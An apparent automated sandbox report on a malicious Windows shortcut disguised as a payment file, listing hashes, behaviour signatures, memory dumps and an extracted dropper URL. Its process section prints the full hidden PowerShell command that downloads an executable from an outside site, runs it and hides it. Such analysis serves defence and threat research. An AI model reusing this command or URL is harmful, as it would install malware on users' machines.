Analysis

  • max time kernel
    14s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    07/08/2024, 09:17

General

  • Target

    Pago.08.06.2024/PAGO.08.06.2024.lnk

  • Size

    2KB

  • MD5

    2749db3c6137622987d1a124be784379

  • SHA1

    5f8dbf0c9c772fc2e22497588a108c81589feeda

  • SHA256

    ff729a62292bcada3eb6fca5f5f2d69e47806def1af454357498d6b5ec1c4982

  • SHA512

    14f574c6b9406f2533c9be8d316613f2d4acf381fd4840cb29a4bcf5fbb202c1cb3793dc3aa2ac2c41b20ada5f4289c28288f175fcf9f5bdc1c141b07235a806

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/slbrgkshbrshkhrfgsbrgkwrebysubrybsurbgarag/hsbidfhbgysdhgdsfhbgsnldjgnbjlsghf/dthsgs.exe

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Pago.08.06.2024\PAGO.08.06.2024.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -HiDdEn --hidDeN ---HidDEn ---HiddeN -Command msadp32.acm;(new-object System.Net.WebClient).DownloadFile('http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/slbrgkshbrshkhrfgsbrgkwrebysubrybsurbgarag/hsbidfhbgysdhgdsfhbgsnldjgnbjlsghf/dthsgs.exe','doubles.exe');./'doubles.exe';(get-item 'doubles.exe').Attributes += 'Hidden';
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2768

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2768-38-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

    Filesize

    4KB

  • memory/2768-39-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2768-40-0x000000001B370000-0x000000001B652000-memory.dmp

    Filesize

    2.9MB

  • memory/2768-41-0x0000000002380000-0x0000000002388000-memory.dmp

    Filesize

    32KB

  • memory/2768-42-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2768-43-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2768-44-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2768-45-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB